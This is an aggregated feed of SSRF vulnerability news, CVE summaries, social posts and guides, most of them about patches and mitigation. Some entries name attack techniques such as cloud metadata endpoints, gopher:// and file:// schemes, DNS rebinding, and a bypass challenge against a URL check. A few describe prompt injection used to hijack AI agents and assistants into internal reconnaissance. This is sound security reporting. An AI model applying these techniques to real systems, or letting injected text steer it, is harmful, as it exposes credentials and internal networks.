| 2026-04-09 2026 | Azure OpenAI CVE-2025-53767 SSRF Privilege Escalation news 2 min read | Writeup of CVE-2025-53767 detailing a critical Server-Side Request Forgery (SSRF) vulnerability in Microsoft Azure OpenAI services. This flaw, classified under CWE-918, allows attackers to craft requests that bypass network controls, potentially leading to privilege escalation by accessing sensitive internal endpoints like the Azure Instance Metadata Service. While specific affected versions are undisclosed, the complexity of Azure's environment has led to past SSRF issues in other cloud services. → zeropath.com |
| 2026-04-09 2026 | SSRF via Server-Side Rendering in Angular (CVE-2026-27739) news 2 min read | Vulnerability CVE-2026-27739 is a critical SSRF flaw in Angular's Server-Side Rendering framework. Attackers can exploit insecure handling of HTTP headers like `Host` and `X-Forwarded-*` to redirect requests to malicious domains, leading to credential exfiltration, internal network probing, and data breaches. Patched versions include 21.2.0-rc.1, 21.1.5, 20.3.17, and 19.2.21. Mitigation involves avoiding `req.headers` for URL construction and implementing strict header validation middleware in `server.ts`. |
| 2026-04-09 2026 | Plunk Critical SSRF in SNS Webhook Handler (CVE-2026-32096) news 2 min read | Writeup of CVE-2026-32096, a critical SSRF vulnerability in Plunk's SNS webhook handler. Unauthenticated attackers can force the email platform, in versions prior to 0.7.0, to make arbitrary outbound HTTP GET requests. This could facilitate internal network reconnaissance or access to sensitive cloud metadata, such as AWS's http://169.254.169.254/latest/meta-data/. The fix is available in Plunk version 0.7.0. → thehackerwire.com |
| 2026-04-09 2026 | CVE-2025-12073: Critical SSRF in GitLab Git Repository Import news 3 min read | Writeup of CVE-2025-12073, detailing a critical Server-Side Request Forgery (SSRF) vulnerability in GitLab CE/EE versions prior to 18.6.6, 18.7.4, and 18.8.4. The vulnerability allows authenticated attackers to exploit the Git repository import feature to force the server to make requests to internal services, potentially leading to data leakage from cloud metadata endpoints or access to internal APIs. The analysis covers the vulnerability's mechanics, impact, and provides guidance on patching to mitigate risks. |
| 2026-04-09 2026 | Microsoft Purview SSRF Privilege Elevation (CVE-2026-26138) news 1 min read | Writeup of CVE-2026-26138, detailing a critical SSRF vulnerability in Microsoft Purview. This high-severity flaw, with a CVSS score of 8.6, allows an unauthenticated attacker with network access to force the server to make requests to arbitrary domains or internal resources, leading to privilege escalation. Exploitation requires identifying the specific input parameter or endpoint susceptible to URL manipulation to trigger the attack vector and confirm the privilege escalation mechanism. → thehackerwire.com |
| 2026-04-06 2026 | CrewAI contains multiple vulnerabilities including SSRF, RCE news 3 min read Python | Library of vulnerabilities in CrewAI enables RCE, SSRF, and arbitrary file reads. CVE-2026-2275 stems from the Code Interpreter Tool's fallback to SandboxPython, allowing code execution via C function calls when `allow_code_execution=True`. CVE-2026-2286, CVE-2026-2287, and CVE-2026-2285 arise from improper default configurations and insecure fallback behaviors in the agent and Docker environment, enabling attackers to chain these flaws through prompt injection to compromise systems. |
| 2026-04-06 2026 | CVE-2026-5417: Dataease SQLbot SSRF Vulnerability news 4 min read | Writeup of CVE-2026-5417, a Server-Side Request Forgery (SSRF) vulnerability in Dataease SQLbot versions up to 1.6.0. Exploitable via the `get_es_data_by_http` function in the Elasticsearch Handler, this flaw allows high-privilege attackers to craft arbitrary HTTP requests to internal or external resources, potentially leading to information disclosure or further system compromise. Mitigation involves upgrading to Dataease SQLbot 1.7.0 or later. → sentinelone.com |
| 2026-04-06 2026 | CVE-2026-34740: Wwbn Avideo SSRF Vulnerability news 4 min read | Writeup detailing CVE-2026-34740, a stored Server-Side Request Forgery (SSRF) in WWBN AVideo versions 26.0 and prior. Authenticated users with upload permissions can exploit this by providing malicious URLs, which the server fetches due to inadequate validation via FILTER_VALIDATE_URL, bypassing the intended isSSRFSafeURL() function. This allows attackers to scan internal networks, access cloud metadata services like AWS IMDSv1 at 169.254.169.254, and interact with restricted internal services. Mitigation includes restricting EPG functionality, egress filtering, and auditing EPG entries. → sentinelone.com |
| 2026-04-04 2026 | curl_cffi is impacted by CVE-2026-33752 a redirect-based SSRF vulnerability allowing internal network access with TLS impersonation bypass. Review applications using curl_cffi for URL input validation. #SSRF #Python #Infosec pulsepatch.io/posts/cve-2026 news | `curl_cffi` is impacted by CVE-2026-33752, a redirect-based SSRF vulnerability allowing internal network access with TLS impersonation bypass. Review applications using `curl_cffi` for URL input valid... |
| 2026-04-04 2026 | A critical SSRF vulnerability (CVE-2026-31818) affects Budibase via its REST Connector allowing unauthorized access to internal resources. Review configurations. #SSRF #Budibase #AppSecurity pulsepatch.io/posts/cve-2026 news | A critical SSRF vulnerability (CVE-2026-31818) affects `Budibase` via its REST Connector, allowing unauthorized access to internal resources. Review configurations. #SSRF #Budibase #AppSecurity pulsep... |
| 2026-04-04 2026 | A critical SSRF filter bypass (CVE-2026-35459) affects pyLoad enabling access to internal network resources. This is an incomplete fix for CVE-2026-33992. #SSRF #pyLoad #infosec pulsepatch.io/posts/cve-2026 news | A critical SSRF filter bypass (CVE-2026-35459) affects `pyLoad`, enabling access to internal network resources. This is an incomplete fix for CVE-2026-33992. #SSRF #pyLoad #infosec pulsepatch.io/posts... |
| 2026-04-03 2026 | SSRF Vulnerability Explained: Attack Types & Real-World Examples (2025) beginner | SSRF Vulnerability Explained: Attack Types & Real-World Examples (2025) |
| 2026-04-03 2026 | Server-Side Request Forgery (SSRF) | Invicti beginner 7 min read | Library detailing Server-Side Request Forgery (SSRF), a vulnerability (CWE-918) allowing attackers to trick a server into sending unintended requests. This can expose sensitive data, internal networks, and cloud credentials, as seen in the Capital One breach. The library covers SSRF exploitation techniques, including accessing localhost, internal IPs, and cloud metadata services via HTTP/S, file schemas, and insecure XML parsing, contrasting it with CSRF and outlining prevention strategies like URL validation and protocol restriction. → invicti.com |
| 2026-04-03 2026 | The Phantom Pivot: Advanced Red Teaming through SSRF & DNS Rebinding advanced | The Phantom Pivot: Advanced Red Teaming through SSRF & DNS Rebinding |
| 2026-04-03 2026 | Mastering SSRF Exploitation in 2025 intermediate 6 min read | Survey of SSRF exploitation techniques, analyzing public bug bounty reports since 2020. Details include exploiting cloud metadata services like AWS and Google Cloud, using URL schemes such as `file://` and `gopher://` for file disclosure and RCE, bypassing restrictions with DNS rebinding and IP encoding, and leveraging features like PDF generators. It covers blind SSRF, second-order SSRF, and chaining with other vulnerabilities, referencing tools like HTTPRebind and SSRFTest, and notable examples from DEF CON and HackerOne. |
| 2026-04-03 2026 | The newly disclosed CVE-2026-33060 (CKAN MCP Server SSRF) shows a recurring pattern: AI agents granted excessive network access without runtime validation. Fetching metadata/internal IPs shouldn't be default. Control execution not just the prompt. #MCPSecurity #SSRF #AIAgents news | The newly disclosed CVE-2026-33060 (CKAN MCP Server SSRF) shows a recurring pattern: AI agents granted excessive network access without runtime validation. Fetching metadata/internal IPs shouldn't be ... |
| 2026-04-02 2026 | Chained SSRF Indirect Prompt Injection in an AI assistant. Server fetching arbitrary URLs Timing oracle revealing internal services Prompt injection hijacking the AI to recon internal infrastructure Marked N/A. #BugBounty #SSRF #AISecurity #PromptInjectionpic.x.com/1w1wCKOlpJJ advanced | Chained SSRF + Indirect Prompt Injection in an AI assistant. → Server fetching arbitrary URLs → Timing oracle revealing internal services → Prompt injection hijacking the AI to recon internal infrastr... |
| 2026-03-31 2026 | Critical SSRF flaw in HAPI FHIR validation package CVE-2026-34361 could expose healthcare apps to credential theft and potential data breaches. vulert.com/vuln-db/CVE-20Zp #CyberSecurity #SSRpic.x.com/ulvNeLbE3Y3Y news | 🚨 Critical SSRF flaw in HAPI FHIR validation package CVE-2026-34361 could expose healthcare apps to credential theft and potential data breaches. �vulert.com/vuln-db/CVE-20…Zp #CyberSecurity #SSRpic.x... |
| 2026-03-31 2026 | TL;DR: IMDSv1 SSRF = credenziali IAM gratis. Capital One 2019: 106M record $80M di multa. Tre HTTP request. Zero exploit. Paolo ha scritto come funziona e come si ferma paolocostanzo.github.io/ssrf-imds-ec2-c (post AI paolo studiava AWS cert) #AWS #SSRF #CloudSecurity #PenTest intermediate | TL;DR: IMDSv1 + SSRF = credenziali IAM gratis. Capital One, 2019: 106M record, $80M di multa. Tre HTTP request. Zero exploit. Paolo ha scritto come funziona e come si ferma 👇paolocostanzo.github.io/ss... |
| 2026-03-30 2026 | Warning: High #SSRF & Injection vulnerabilities in #SpringAI. CVE-2026-22742 CVE-2026-22743 CVE-2026-22744 CVSS: 8.6. These CVEs can lead to unintended server requests and database access. #Patch #Patch #Patch news | Warning: High #SSRF & Injection vulnerabilities in #SpringAI. CVE-2026-22742, CVE-2026-22743, CVE-2026-22744 CVSS: 8.6. These CVEs can lead to unintended server requests and database access. #Patch #P... |
| 2026-03-29 2026 | def check_stock_api(url): if url.startswith("http://") or url.startswith("https://"): if not url.startswith("http://localhost") and not url.startswith(""): return False Hmm so... how would you by pass this? #SSRF #WebSecurity #BugBounty #Python intermediate | def check_stock_api(url): if url.startswith("http://") or url.startswith("https://"): if not url.startswith("http://localhost") and not url.startswith(""): return False Hmm so... how would you by p... |
| 2026-03-29 2026 | SSRF Payload Generator #SSRF #PayloadGenerator #Pentesting #VulnerabilityTesting #SecurityTools shelltrail.com/tools/ssrf-pay intermediate | SSRF Payload Generator #SSRF #PayloadGenerator #Pentesting #VulnerabilityTesting #SecurityTools shelltrail.com/tools/ssrf-pay… https://ift.tt/RWCn8zP |
| 2026-03-28 2026 | Server-Side Request Forgery (SSRF) in pyLoad (CVE-2026-33992) can lead to cloud metadata exfiltration. Assess pyLoad deployments and restrict network egress. #SSRF #CloudSecurity #InfoSec pulsepatch.io/posts/cve-2026 news | Server-Side Request Forgery (SSRF) in `pyLoad` (CVE-2026-33992) can lead to cloud metadata exfiltration. Assess `pyLoad` deployments and restrict network egress. #SSRF #CloudSecurity #InfoSec pulsepat... |
| 2026-03-27 2026 | CVE-2026-33992: pyLoad:... PyLoad's blind URL acceptance turns your download manager into a cloud metadata harvesting tool - DigitalOcean SSH keys anyone? #SSRF #CloudSec. zerodaysignal.com/vulnerability/P #netsec #vulnerability #CVE #sysadmin #zeroday news | 🚨 CVE-2026-33992: pyLoad:... PyLoad's blind URL acceptance turns your download manager into a cloud metadata harvesting tool - DigitalOcean SSH keys anyone? #SSRF #CloudSec. zerodaysignal.com/vulnerab... |
| 2026-03-27 2026 | MCP attack surface is exploding: 30 CVEs in 60 days. CVE-2026-26118: SSRF in Azure MCP Server leaks managed identity tokens. The protocol meant to secure AI agents is now a privesc vector. Run MCP? Audit inputs block outbound rotate tokens. #CyberSecurity #MCP #SSRF news | MCP attack surface is exploding: 30 CVEs in 60 days. CVE-2026-26118: SSRF in Azure MCP Server leaks managed identity tokens. The protocol meant to secure AI agents is now a privesc vector. Run MCP? Au... |
| 2026-03-27 2026 | CVE-2020-8561 exploits an SSRF flaw in Kubernetes API servers ValidatingWebhookConfiguration and profiling endpoints to expose full responses. Requires cluster-admin creds to escalate impact. #KubernetesSecurity #SSRF #CVE20208561 ift.tt/LEbouZ0 news | CVE-2020-8561 exploits an SSRF flaw in Kubernetes API server’s ValidatingWebhookConfiguration and profiling endpoints to expose full responses. Requires cluster-admin creds to escalate impact. #Kubern... |
| 2026-03-27 2026 | Blog2Social =8.6.0 tiene SSRF (CVSS 4.3). Un suscriptor puede hacer peticiones a cualquier URL interna. Solución: actualizar a 8.6.1 o superior. #WordPress #Seguridad #SSRF t.me/vulnerabilityw news | ⚠️ Blog2Social =8.6.0 tiene SSRF (CVSS 4.3). Un suscriptor+ puede hacer peticiones a cualquier URL interna. Solución: actualizar a 8.6.1 o superior. #WordPress #Seguridad #SSRF t.me/vulnerabilityw… ht... |
| 2026-03-26 2026 | Budibase is affected by an Unrestricted SSRF vulnerability (CVE-2026-33226) via its REST Datasource Query Preview. This could enable internal network reconnaissance. Investigate network egress filtering. #Budibase #SSRF #Infosec pulsepatch.io/posts/cve-2026 news | `Budibase` is affected by an Unrestricted SSRF vulnerability (CVE-2026-33226) via its REST Datasource Query Preview. This could enable internal network reconnaissance. Investigate network egress filte... |
| 2026-03-23 2026 | Vulnerability in soft-serve allows SSRF via unvalidated LFS endpoint in repo import (CVE-2026-30832). Potential internal network access. #SSRF #GitLFS #infosec pulsepatch.io/posts/cve-2026 news | Vulnerability in `soft-serve` allows SSRF via unvalidated LFS endpoint in repo import (CVE-2026-30832). Potential internal network access. #SSRF #GitLFS #infosec pulsepatch.io/posts/cve-2026… https://... |
| 2026-03-23 2026 | Les comparto un pequeño #writeup de cómo puedes analizar un Blind #SSRF con Introspector Framework. 13.37.hn/webhacking/202 pic.x.com/upPnb1um2G intermediate | Les comparto un pequeño #writeup de cómo puedes analizar un Blind #SSRF con Introspector Framework. 13.37.hn/webhacking/202… pic.x.com/upPnb1um2G https://ift.tt/uMrmfOQ |
| 2026-03-21 2026 | An unauthenticated SSRF vulnerability (CVE-2026-33502) affects AVideo potentially allowing internal network access. Investigate server isolation and egress filtering. #AVideo #SSRF #infosec pulsepatch.io/posts/cve-2026 news | An unauthenticated SSRF vulnerability (CVE-2026-33502) affects `AVideo`, potentially allowing internal network access. Investigate server isolation and egress filtering. #AVideo #SSRF #infosec pulsepa... |
| 2026-03-20 2026 | An unauthenticated SSRF vulnerability (CVE-2026-33351) in AVideo allows for a verification bypass. Review AVideo deployments for exposure. #SSRF #AVideo #infosec pulsepatch.io/posts/cve-2026 news | An unauthenticated SSRF vulnerability (CVE-2026-33351) in `AVideo` allows for a verification bypass. Review `AVideo` deployments for exposure. #SSRF #AVideo #infosec pulsepatch.io/posts/cve-2026… http... |
| 2026-03-19 2026 | Completed SSRF (Intro) on @tryhackme. An easy room where I learned how Server-Side Request Forgery works and how attackers exploit internal services through crafted requests. Roomtryhackme.com/room/ssrfqipJ #WebSecurity #SSRF #CTF #LearnInPublic #Founder #CEO #CTO #HR #Startupic.x.com/iUwVcZovfxfx beginner | Completed SSRF (Intro) on @tryhackme. An 🟢easy🟢 room where I learned how Server-Side Request Forgery works and how attackers exploit internal services through crafted requests. Roomtryhackme.com/room/... |
| 2026-03-18 2026 | Centrifugo is affected by an SSRF vulnerability (CVE-2026-32301) via unverified JWT claims in JWKS URL resolution. This can lead to internal network reconnaissance. Monitor for official #security advisories. #SSRF #JWT pulsepatch.io/posts/cve-2026 news | `Centrifugo` is affected by an SSRF vulnerability (CVE-2026-32301) via unverified JWT claims in JWKS URL resolution. This can lead to internal network reconnaissance. Monitor for official #security ad... |
| 2026-03-18 2026 | Audit interne chez @AstioLab Blind SSRF dans Planka (GHSA-c7mq-8hrx-524h) corrigé en v2.0.3 Tout outil auto-hébergé qui émet des requêtes HTTP depuis un input utilisateur est concerné. On a documenté tout ça ici : astiolab.com/blind-ssrf-out #SSRF #DevSecOps #Cybersécurité #Planka pic.x.com/UsxhZxKM0d intermediate | Audit interne chez @AstioLab Blind SSRF dans Planka (GHSA-c7mq-8hrx-524h) corrigé en v2.0.3 Tout outil auto-hébergé qui émet des requêtes HTTP depuis un input utilisateur est concerné. On a documenté ... |
| 2026-03-16 2026 | Atenção profissionais de segurança! A vulnerabilidade SSRF no vanna-ai (até v2.0.2) pode permitir que atacantes realizem requisições arbitrárias. Atualize agora e isole sua rede para evitar riscos! Saiba maistenable.com/cve/CVE-2026-4U0 #CyberSecurity #Vulnerability #SSRF news | 🚨 Atenção, profissionais de segurança! A vulnerabilidade SSRF no vanna-ai (até v2.0.2) pode permitir que atacantes realizem requisições arbitrárias. Atualize agora e isole sua rede para evitar riscos!... |
| 2026-03-14 2026 | Check out our ebooks. brutelogic.net #BugBounty #SSRF #Bypass pic.x.com/CaYJYdmi2J beginner | Check out our ebooks. brutelogic.net #BugBounty #SSRF #Bypass pic.x.com/CaYJYdmi2J https://ift.tt/4FfzesC |
| 2026-03-14 2026 | Please support independent work. brutelogic.net #BugBounty #SSRF #Bypass pic.x.com/kZD7G5xeFK beginner | Please support independent work. brutelogic.net #BugBounty #SSRF #Bypass pic.x.com/kZD7G5xeFK https://ift.tt/ODBWAMp |
| 2026-03-09 2026 | CVE-2026-27739: Angular SSR Request Vulnerability Enabling Server-Side Request Forgery news 5 min read | Writeup of CVE-2026-27739, a critical Server-Side Request Forgery (SSRF) vulnerability in Angular Server-Side Rendering (SSR). Exploitation occurs when attackers manipulate HTTP headers like Host and X-Forwarded-* to trick Angular SSR into making requests to unintended destinations, potentially exposing internal services or sensitive data. Affected versions include Angular prior to 21.2.0-rc.1, 21.1.5, 20.3.17, and 19.2.21. Mitigation involves updating Angular dependencies and validating forwarded headers. → securityboulevard.com |
| 2026-03-05 2026 | CVE-2026-27825 news 1 min read | Writeup of CVE-2026-27825, a critical vulnerability in mcp-atlassian's Confluence attachment download tools, allowing unauthenticated actors to achieve local privilege escalation and remote code execution via path traversal. The same release also patches CVE-2026-27826, an SSRF issue in header-controlled Atlassian base URLs. Version 0.17.0 introduces `validate_safe_path()` and `validate_url_for_ssrf()` to mitigate these risks by enforcing path confinement and URL validation. → arcticwolf.com |
| 2026-03-04 2026 | WordPress Admins! Beware of CVE-2026-2269: Uncanny Automator ( 7.0.0.3) is vulnerable to SSRF allowing unauthorized file uploads and remote code execution. Update your plugins ASAP or disable them! Stay secure! #Cybersecurity #WordPress #SSRFtenable.com/cve/CVE-2026-2PJ news | 🚨 WordPress Admins! Beware of CVE-2026-2269: Uncanny Automator (≤ 7.0.0.3) is vulnerable to SSRF, allowing unauthorized file uploads and remote code execution. Update your plugins ASAP or disable them... |
| 2026-03-03 2026 | Show HN: Drawbridge – Drop-In SSRF Protection for Python | Hacker News intermediate Python | Library for drop-in SSRF protection in Python, replacing `requests` or `httpx`. Drawbridge resolves DNS, validates IPs against private/reserved ranges, pins connections to validated IPs with original hostname in Host header and TLS SNI, and re-validates on redirects, blocking DNS rebinding, address obfuscation, and redirect-based attacks. |
| 2026-03-03 2026 | CVE-2026-27825: Critical Unauthenticated RCE and SSRF in mcp-atlassian news 1 min read RCE | Writeup detailing CVE-2026-27825, a critical unauthenticated RCE and SSRF vulnerability in mcp-atlassian. The flaw stems from missing directory confinement and inadequate path traversal validation in Confluence attachment download tools, allowing attackers to overwrite critical system files for persistence or remote code execution. A related CVE-2026-27826 addresses an SSRF issue in header-controlled Atlassian base URLs. Version 0.17.0 remediates these by introducing `validate_safe_path()` and `validate_url_for_ssrf()` functions. → arcticwolf.com |
| 2026-03-02 2026 | CVE-2026-27829: Astro Framework SSRF Vulnerability news 4 min read | Vulnerability regarding CVE-2026-27829 in the Astro web framework (versions 9.0.0-9.5.3) allows Server-Side Request Forgery (SSRF). The `inferSize` option bypasses `image.domains` and `image.remotePatterns` restrictions, enabling servers to fetch unauthorized content, potentially exposing sensitive data by targeting internal services and cloud metadata endpoints. Mitigation involves upgrading Astro to 9.5.4 or later, which implements manual redirect handling, or employing workarounds like avoiding `inferSize` with user-controlled URLs and implementing network egress filtering. → sentinelone.com |
| 2026-03-02 2026 | CVE-2026-28295: Server-Side Request Forgery (SSRF) in Red Hat Red Hat Enterprise Linux 10 - Live Threat Intelligence - Threat Radar | OffSeq.com news 6 min read | Writeup on CVE-2026-28295, a Server-Side Request Forgery (SSRF) vulnerability in the FTP GVfs backend of Red Hat Enterprise Linux 10. A malicious FTP server can exploit this by providing arbitrary IP addresses and ports in its passive mode (PASV) response, causing the client to connect to unintended internal or external endpoints. This allows attackers to probe for open ports and discover internal network resources. The vulnerability requires user interaction to connect to the malicious server and primarily results in information disclosure for network reconnaissance. → radar.offseq.com |
| 2026-03-02 2026 | Breaking the Trust Boundary: SSRF via a Misconfigured Sentry Tunnel intermediate Secrets | Free Article Link: Click for free! → infosecwriteups.com |
| 2026-03-02 2026 | Angular SSR Flaw Enables Unauthorized Server-Side Requests in Web Apps news 2 min read | Vulnerability CVE-2026-27739 in Angular SSR enables SSRF and Header Injection by trusting unvalidated Host and X-Forwarded-* headers. This allows attackers to redirect internal requests via HttpClient or manual URL construction, leading to credential theft, internal network probing, and data exposure. Mitigation involves updating @angular/ssr packages, using absolute URLs, or implementing strict header validation in server.ts. → gbhackers.com |
| 2026-03-02 2026 | Angular SSR Flaw Lets Attackers Trigger Unauthorized Server-Side Requests intermediate 1 min read | Library patch addressing CVE-2026-27739, a critical SSRF vulnerability in Angular SSR, allowing attackers to trigger unauthorized requests to arbitrary servers. The flaw, rooted in unvalidated user-controlled headers like Host and X-Forwarded-*, enables header injection and internal network attacks. Affected versions require immediate upgrade to patched releases, with workarounds including switching to absolute URLs and implementing middleware validation for headers. → cyberpress.org |
| 2026-03-02 2026 | Security Advisory: Addressing Recent Vulnerabilities in Angular news | We’ve released security updates to address two SSR vulnerabilities that we were made aware of and have since submitted committed code… |
| 2026-03-02 2026 | Angular SSR Request Vulnerability Allows Attackers to Trick Applications into Sending Unauthorized Requests news 2 min read | Library patches address CVE-2026-27739, a critical Server-Side Request Forgery (SSRF) vulnerability in Angular SSR. Attackers can exploit this flaw by manipulating Host and X-Forwarded-* headers, tricking applications into sending unauthorized requests to external domains. This enables credential exfiltration and internal network probing. Patched versions include 21.2.0-rc.1, 21.1.5, 20.3.17, and 19.2.21. Workarounds involve avoiding header-based URL construction and implementing strict header validation. → cybersecuritynews.com |
| 2026-03-02 2026 | Angular patches a critical 9.2 CVSS SSRF vulnerability (CVE-2026-27739). Attackers can manipulate Host headers to steal credentials and probe internal networks. #Angular #SSRF #CyberSecurity #CVE202627739 #WebDev #InfoSec #Javascript #SecurityPatch securityonline.info/steering-the-s news | Angular patches a critical 9.2 CVSS SSRF vulnerability (CVE-2026-27739). Attackers can manipulate Host headers to steal credentials and probe internal networks. #Angular #SSRF #CyberSecurity #CVE20262... |
| 2026-03-01 2026 | "It's a Trap!" (Star Wars) - Server-Side Request Forgery - LinkedIn beginner | "It's a Trap!" (Star Wars) - Server-Side Request Forgery - LinkedIn |
| 2026-03-01 2026 | Exploring Server-Side Request Forgery (SSRF) | Securityium beginner 3 min read | Writeup on Server-Side Request Forgery (SSRF), a critical web vulnerability where attackers trick servers into making unintended requests. The article details SSRF mechanics, impact, and exploitation techniques, including bypassing blacklists with decimal or encoded IPs and exploiting redirects. It highlights real-world examples like the 2022 cloud provider incident exposing instance credentials via http://169.254.169.254/metadata and mentions SSRF's prevalence in 2024 OWASP threats. Prevention strategies focus on validating user-supplied URLs and implementing strict whitelists. |
| 2026-03-01 2026 | Server-Side Request Forgery: Impact, Examples & Defenses beginner 11 min read | Guide to Server-Side Request Forgery (SSRF) detailing its impact, including unauthorized access to internal systems, data exposure, denial of service, and remote code execution. The guide covers basic SSRF attacks, blind SSRF, and exploitation methods involving HTTP headers, data formats, and bypassing input filters. |
| 2026-03-01 2026 | Server-Side Request Forgery SSRF: A Complete Security Guide beginner 12 min read | Library detailing Server-Side Request Forgery (SSRF) vulnerabilities, explaining how attackers trick servers into making unintended requests to internal or external systems. It covers common scenarios such as accessing internal services via localhost, fetching external content with user-supplied URLs, and targeting cloud metadata services like AWS's 169.254.169.254. The library highlights how SSRF can grant unauthorized access to sensitive data and internal networks, especially within cloud computing and microservices architectures. |
| 2026-03-01 2026 | Server-Side Request Forgery: What It Is & How To Fix It | Wiz beginner 8 min read | Library detailing Server-Side Request Forgery (SSRF) vulnerabilities, explaining how attackers trick servers into making requests to internal resources like cloud metadata services and sensitive systems. It highlights SSRF's inclusion in the OWASP Top 10 and CWE Top 25, with examples like the Capital One breach. The library emphasizes prevention through strict input validation, egress controls, API security best practices, and continuous API inventory management, referencing tools like SSRFire and ZAP for detection. → wiz.io |
| 2026-03-01 2026 | What Is Server Side Request Forgery? - Palo Alto Networks beginner 16 min read | Reference detailing Server Side Request Forgery (SSRF) or API7:2023, a vulnerability where attackers leverage an application server as a proxy to access internal resources. The content explains how SSRF attacks function, real-world exploitation techniques, business impacts, identification methods, and prevention strategies. It highlights the amplified risk in cloud-native architectures and mentions specific OWASP API Security Top 10 risks such as Broken Object Level Authorization (API1:2023), Broken Authentication (API2:2023), and Security Misconfiguration (API8:2023). → paloaltonetworks.com |
| 2026-03-01 2026 | Server-side request forgery - Wikipedia beginner 3 min read | Library for detecting and preventing Server-Side Request Forgery (SSRF), a vulnerability allowing attackers to send requests from a vulnerable server. This library addresses risks highlighted by OWASP API Security Top 10 and CWE Top 25, and is relevant to incidents like the Capital One breach and Microsoft Exchange Server exploits. It helps mitigate attacks targeting internal networks, cloud metadata endpoints, and uses various protocols like file://, gopher://, and dict://. Prevention strategies involve input validation, allowlisting, and network segregation. |
| 2026-03-01 2026 | Server-Side Request Forgery (SSRF) Attack Guide | Hackviser beginner 6 min read | Guide detailing Server-Side Request Forgery (SSRF) vulnerabilities, covering manual testing techniques like URL parameter analysis, internal network and cloud metadata access, and protocol manipulation using `file://`, `dict://`, `gopher://`, and `ldap://`. It also explains automated discovery with Burp Suite, SSRFmap, and Nuclei, alongside attack vectors such as local file access and exploitation of AWS, Azure, and Google Cloud metadata. |
| 2026-03-01 2026 | Server Side Request Forgery (SSRF) in Depth - GeeksforGeeks beginner 4 min read | Library for analyzing Server-Side Request Forgery (SSRF) vulnerabilities, detailing how attackers exploit servers as proxies to access internal services, leading to data leaks and potential RCE. It categorizes SSRF into Blind, Limited Response, and Full Response types, and demonstrates exploitation techniques using a hands-on example from PortSwigger's Web Security Academy, including deleting a user via the internal admin interface. Mitigation strategies like input validation, allowlisting, and restricting internal requests are also covered. → geeksforgeeks.org |
| 2026-03-01 2026 | Server Side Request Forgery - OWASP Foundation beginner 1 min read | Library detailing Server-Side Request Forgery (SSRF) attacks, where attackers leverage server functionality to access internal resources by manipulating URLs. It highlights common SSRF vectors like fetching AWS metadata from `http://169.254.169.254/`, connecting to internal NoSQL databases with HTTP interfaces, or reading local files via `file://` URIs, bypassing intended security controls. → owasp.org |
| 2026-03-01 2026 | A Beginner's Guide to Testing for Server-Side Request Forgery (SSRF) beginner | A Beginner's Guide to Testing for Server-Side Request Forgery (SSRF) |
| 2026-03-01 2026 | Gradio instances are vulnerable to SSRF (CVE-2026-28416) via proxy_url injection. Update gradio to the patched version to mitigate risks. #Gradio #SSRF #infosec pulsepatch.io/posts/cve-2026 news | `Gradio` instances are vulnerable to SSRF (CVE-2026-28416) via `proxy_url` injection. Update `gradio` to the patched version to mitigate risks. #Gradio #SSRF #infosec pulsepatch.io/posts/cve-2026… htt... |
| 2026-02-27 2026 | A critical SSRF and Header Injection vulnerability (CVE-2026-27739) affects @angular/ssr. Patch to 21.2.0-rc.1 or later to mitigate risks. #AngularSSR #SSRF #Infosec pulsepatch.io/posts/cve-2026 news | A critical SSRF and Header Injection vulnerability (CVE-2026-27739) impacts `@angular/ssr`. To address this, update to version 21.2.0-rc.1 or newer to reduce risks. This vulnerability poses security threats and falls under the categories of SSRF and Header Injection. Stay informed about #AngularSSR, #SSRF, and #Infosec. More details available at pulsepatch.io/posts/cve-2026. |
| 2026-02-23 2026 | Astro SSRF Vulnerability: Host Header Injection in SSR Error Pages (CVE-2026-25545) news 6 min read | Library for detecting Astro SSRF vulnerabilities, specifically CVE-2026-25545, caused by Host header injection in SSR error pages. This vulnerability allows attackers to craft requests that trick the Astro server into fetching arbitrary internal URLs, potentially exposing sensitive data. Exploitation requires SSR mode, an unsanitized Host header, and a configured custom error page (like `404.astro`). Patched versions include astro@5.17.2, @astrojs/node@9.5.3, and astro@6.0.0-beta.11. → aikido.dev |
| 2026-02-17 2026 | Langchain Community SSRF Bypass Vulnerability Enables Access to Internal Services news 1 min read | Library fix addressing CVE-2026-26019 in langchain/community versions up to 1.1.13. This Server-Side Request Forgery (SSRF) vulnerability stemmed from an inadequate URL validation in RecursiveUrlLoader, allowing crafted subdomains and direct access to cloud metadata endpoints (169.254.169.254) or internal networks. The patch in 1.1.14 implements strict origin validation via the URL API and introduces new SSRF filters in @langchain/core/utils/ssrf to block private, loopback, and non-HTTP(S) schemes. → cybersecuritynews.com |
| 2026-02-17 2026 | LangChain Community Flaw Allows SSRF Bypass to Access Internal Infrastructure news 1 min read | Writeup of CVE-2026-26019 in LangChain Community, a Server-Side Request Forgery (SSRF) vulnerability in the RecursiveUrlLoader. Attackers could exploit weak URL validation, bypassing `preventOutside` checks by using a prefix trick, to access internal networks or cloud metadata endpoints. This flaw, fixed in version 1.1.14, allowed potential credential theft by fetching data from AWS, Google Cloud, or Azure metadata services. Developers are urged to upgrade to the patched version. → cyberpress.org |
| 2026-02-17 2026 | Langchain Community SSRF Bypass Vulnerability Exposes Internal Services to Unauthorized Access news 2 min read | Writeup on CVE-2026-26019, a critical Server-Side Request Forgery (SSRF) vulnerability in the Langchain community package's RecursiveUrlLoader. This flaw, stemming from a simple string prefix check and lack of private IP validation, allowed attackers to bypass domain restrictions and access internal network resources or cloud metadata, potentially leading to credential theft. Langchain has since patched this in version 1.1.14 with strict origin checks and a new validation module blocking private IPs and metadata endpoints. → gbhackers.com |
| 2026-02-15 2026 | SSRF attacks are sneaky. Server-Side Request Forgery tricks YOUR server into accessing internal systems. Prevention: Validate URLs Use allowlists Block internal IPs Test your site:denti.systemsg #SSRF #AppSec #DentiSystems beginner | SSRF attacks are deceptive, manipulating servers to access internal systems. Prevention involves validating URLs, using allowlists, blocking internal IPs, and testing the site. This information is shared with hashtags #SSRF, #AppSec, and #DentiSystems. |
| 2026-02-15 2026 | Affected Tandoor Recipes instances are vulnerable to a blind SSRF (CVE-2026-25991) via recipe import allowing internal network access. #AppSec #SSRF #infosec pulsepatch.io/posts/cve-2026 news | The content highlights a vulnerability in Tandoor Recipes instances, exposing them to a blind Server-Side Request Forgery (SSRF) attack (CVE-2026-25991) through recipe imports, potentially granting unauthorized access to the internal network. This security flaw poses a risk to affected systems and emphasizes the importance of addressing such vulnerabilities promptly. #AppSec #SSRF #infosec. |
